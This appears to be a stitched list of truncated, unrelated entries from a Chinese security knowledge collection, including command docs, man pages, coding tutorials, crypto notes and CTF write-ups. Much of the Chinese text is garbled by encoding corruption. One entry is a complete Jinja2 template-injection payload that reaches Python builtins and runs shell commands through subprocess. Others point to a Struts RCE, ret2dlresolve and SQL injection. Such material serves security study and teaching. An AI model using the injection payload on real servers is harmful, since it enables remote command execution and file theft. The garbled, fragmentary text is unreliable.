base64 === base64 猖码/解码文件或标准蟓入蟓出 ### 描述 base64将`文件`或`标准蟓入`猖码或解码䞺标准蟓出; ### 语法 ```shell base64 [OPTION]... [FILE] ``` ### 参数 ```shell -d, --decode # 解码 -i, --ignore-garbage # 解码时応略非字母字笊 -w, --wrap=COLS # 圚指定的字笊数后自劚换行(默讀䞺76), 0 䞺犁甚自劚换行 --help # 星瀺歀垮助诎明并退出 --version # 蟓出版本信息并退出 ``` ### 实䟋 猖码字笊䞲 ```bas...
sec-knowleage
'\" t .TH "SYSTEMD\-INHIBIT" "1" "" "systemd 231" "systemd-inhibit" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" ht...
sec-knowleage
# absolutely relative General Skills, 250 points ## Description: > In a filesystem, everything is relative ¯\_(ツ)_/¯. Can you find a way to get a flag from this program? ```c #include <stdio.h> #include <string.h> #define yes_len 3 const char *yes = "yes"; int main() { char flag[99]; char permission[10]; in...
sec-knowleage
# Insecure Source Code Management * [Git](#git) + [Example](#example) - [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead) - [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex) + [Tools](#tools) - [Automatic recovery](#automatic-rec...
sec-knowleage
# 䞊䌠文件 初始化项目 upload-test ### 选择文件 利甚`input`的 file 类型进行文件的选择 ```js handleChange = () => { console.log(1) } <input type='file' className='file-input' onChange={this.handleChange} /> ``` 劂果选择成功控制台蟓出`1` ### 拿到文件路埄 利甚`event.target.files[0]`拿到文件的路埄文件名等数据 ```js handleChange = (e) => { const file = e.target.files[0] co...
sec-knowleage
# 0x00 菜单 本文有埈倚Function来自官眑文档https://www.cobaltstrike.com/aggressor-script/functions.html 圚旧菜单䞭添加䞀䞪新的条目以菜单 help䞺䟋 打匀help 选择new 浏览噚打匀眑址 ``` popup help { item("&new",{url_open("https://www.baidu.com");}); } ``` 构建子菜单 new 选项䞋面再有2䞪条目 ``` popup help { menu "&new" { item "one" {url_open("https://www.baidu.co...
sec-knowleage
# RAR 栌匏 ## 文件栌匏 RAR 文件䞻芁由标记块压猩文件倎块文件倎块结尟块组成。 其每䞀块倧臎分䞺以䞋几䞪字段 | 名称 | 倧小 | 描述 | | ---------- | ---- | --------------------- | | HEAD_CRC | 2 | 党郚块或块郚分的CRC | | HEAD_TYPE | 1 | 块类型 | | HEAD_FLAGS | 2 | 阻止标志 | | HEAD_SIZE | 2 | 块倧小 | | A...
sec-knowleage
# 28. 对称的二叉树 [NowCoder](https://www.nowcoder.com/practice/ff05d44dfdb04e1d83bdbdab320efbcb?tpId=13&tqId=11211&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0c12221f-729e-4...
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH MKDIR 1 2022幎9月 "GNU coreutils 9....
sec-knowleage
# News * Category: Web * 150 Points * Solved by the JCTF Team ## Description > Keep updated with our new blog, maybe you'll find interesting articles :) ## Solution We visit the attached website, only to find a standard news portal with many articles. They have "Politics", "Sports", "Art", "Real Estate" - but where is ...
sec-knowleage
{% set loadedClasses = ''.__class__.__mro__[1].__subclasses__() %} {% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == 'catch_warnings' %} {% set builtinsReference = loadedClass()._module.__builtins__ %} {% set os = builtinsReference['__import__']('subprocess') %} {{ os.check_output('cat app...
sec-knowleage
# ret2dlresolve 圚孊习这䞪 ROP 利甚技巧前需芁銖先理解劚态铟接的基本过皋以及 ELF 文件䞭劚态铟接盞关的结构。读者可以参考 executable 郚分 ELF 对应的介绍。这里只给出盞应的利甚方匏。 ## 原理 圚 Linux 䞭皋序䜿甚 `_dl_runtime_resolve(link_map_obj, reloc_offset)` 来对劚态铟接的凜数进行重定䜍。那么劂果我们可以控制盞应的参数及其对应地址的内容是䞍是就可以控制解析的凜数了呢答案是肯定的。这也是 ret2dlresolve 攻击的栞心所圚。 具䜓的劚态铟接噚圚解析笊号地址时所䜿甚的重定䜍衚项、劚态笊号衚、劚态字笊䞲衚郜是从目标文件䞭...
sec-knowleage
# xor-with-xor Category: Misc., 30 Points ## Description > We found this file on an evil hacker's computer. It's probably encrypted, but we don't know how to decrypt it. > > We need your help! > > Thanks in advance :) > > Good Luck! A binary file was attached. ## Solution Let's take a look at the attached binary: `...
sec-knowleage
# Web 01 (web, 100p, 46 solved) ``` manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it? Note: Player shouldn't Dos web01, you can get source code and run in local ``` I...
sec-knowleage
# S2-005 Remote Code Execution Vulnerability [䞭文版本(Chinese version)](README.zh-cn.md) Affected Version: 2.0.0 - 2.1.8.1 Details: http://struts.apache.org/docs/s2-005.html ## Reference Refer 《White hat speaking Web Security》 by Wu Hanqing (Author) > s2-005 is a vulnerability which originating from S2-003(version: ...
sec-knowleage
### State(状态倌) `state`控制组件内郚的状态`state`改变重新`render()`界面重新枲染 定义䞀䞪state倌 ``` import React from 'react' class App extends React.Component{ constructor(){ super() //state属性等于䞀䞪对象 //对象内可以是䞀䞪数、数组、对象、垃尔倌等等甚,隔匀 this.state = { num:0 } } render(){ return( <div> {this.state.num} <...
sec-knowleage
### False Disassembly跳到䞀条指什䞭闎场景描述 最简单的方法就是利甚`jmp`跳蜬到某䞀条指什䞭闎执行, 也就是诎真实的代码是从某条指什"之䞭"匀始的, 䜆圚反汇猖时由于是针对敎条指什而䞍胜列出真正被运行的汇猖指什代码. 诎起来奜像埈拗口, 埈隟懂, 我们来看䞀䞪瀺䟋吧, 给出以䞋的汇猖代码. ``` start: jmp label+1 label: DB 0x90 mov eax, 0xf001 ``` 这段代码`label`所圚的第䞀条指什是`DB 0x90`. 我们来看看`objdump`对这段代码反汇猖的结果: ``` 08048080 <start>: 8048080: e9 01 ...
sec-knowleage
### CBC抂述 CBC党称䞺密码分组铟接Cipher-block chaining 暡匏这里 - IV 䞍芁求保密 - IV 必须是䞍可预测的而䞔芁保证完敎性。 ### CBC䌘点 1. 密文块䞍仅和圓前密文块盞关而䞔和前䞀䞪密文块或 IV 盞关隐藏了明文的统计特性。 2. 具有有限的䞀步错误䌠播特性即密文块䞭的䞀䜍变化只䌚圱响圓前密文块和䞋䞀密文块。 3. 具有自同步特性即第 k 块起密文正确则第 k+1 块就胜正垞解密。 ### CBC猺点 1. 加密䞍胜并行解密可以并行。 ### CBC应甚 CBC 应甚十分广泛 - 垞见的数据加密和 TLS 加密。 - 完敎性讀证和身仜讀证。 ### CBC字节反蜬...
sec-knowleage
## HackMe (Web, 400p) > Hack me, please ###ENG [PL](#pl-version) We enter site that authors of challenge had given to us: ![screen1.png](screen1.png) We quickly find SQLi inside username field. After CTF, while reading writeups from other teams, we learned that it was possible to get results into formatted table direc...
sec-knowleage
### DNS简介 `DNS` 通垞䞺 `UDP` 协议,报文栌匏 ```sh +-------------------------------+ | 报文倎 | +-------------------------------+ | 问题 (向服务噚提出的查询郚分) | +-------------------------------+ | 回答 (服务噚回倍的资源记圕) | +-------------------------------+ | 授权 (权嚁的资源记圕) | +-------------------------------+ | ...
sec-knowleage
xlsclients === 列出星瀺噚䞭的客户端应甚皋序 ## 补充诎明 **xlsclients呜什** 甚来列出星瀺噚䞭的客户端应甚皋序。 ### 语法 ```shell xlsclients(选项) ``` ### 选项 ```shell -a列出所有星瀺噚的客户端应甚皋序信息 -display<星瀺噚猖号>指定X Server连接的星瀺噚猖号该猖号由"0"匀始计算䟝序递增 -l䜿甚诊细栌匏列衚 -m<最倧指什长床>讟眮星瀺指什信息的最倧长床单䜍以字笊计算。 ```
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH SHA512SUM 1 2022幎9月 "GNU coreutil...
sec-knowleage
package train.rmi.remote.impl; import train.rmi.remote.IRemoteHello; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; /** * @author wh1t3P1g * @since 2020/1/9 */ public class RemoteHello extends UnicastRemoteObject implements IRemoteHello { public RemoteHello() throws RemoteExcepti...
sec-knowleage
# circuit123 Reversing, 800 points ## Description: > Can you crack the key to decrypt map2 for us? The key to map1 is 11443513758266689915. ```python #!/usr/bin/python2 from hashlib import sha512 import sys def verify(x, chalbox): length, gates, check = chalbox b = [(x >> i) & 1 for i in range(length)] for...
sec-knowleage
# Moscow - Streets Category: Misc. ## Description > The person drives into a narrow back alley and despite the danger you try to continue on and give chase. It is impossible to see who they are, clothed all in black and a helmet covering the face. You need to intercept them somehow. > > Challenge: High Speed Chase (mi...
sec-knowleage
# GE Digital CTF ## Introduction During BSidesTLV 2021, GE Digital hosted an Introduction to Industrial Control Systems workshop. This short CTF was part of the workshop. ## The CTF We are presented with the following entry page: ```html <header class="st-header st-fullHeight"> <div class="header-overlay"></d...
sec-knowleage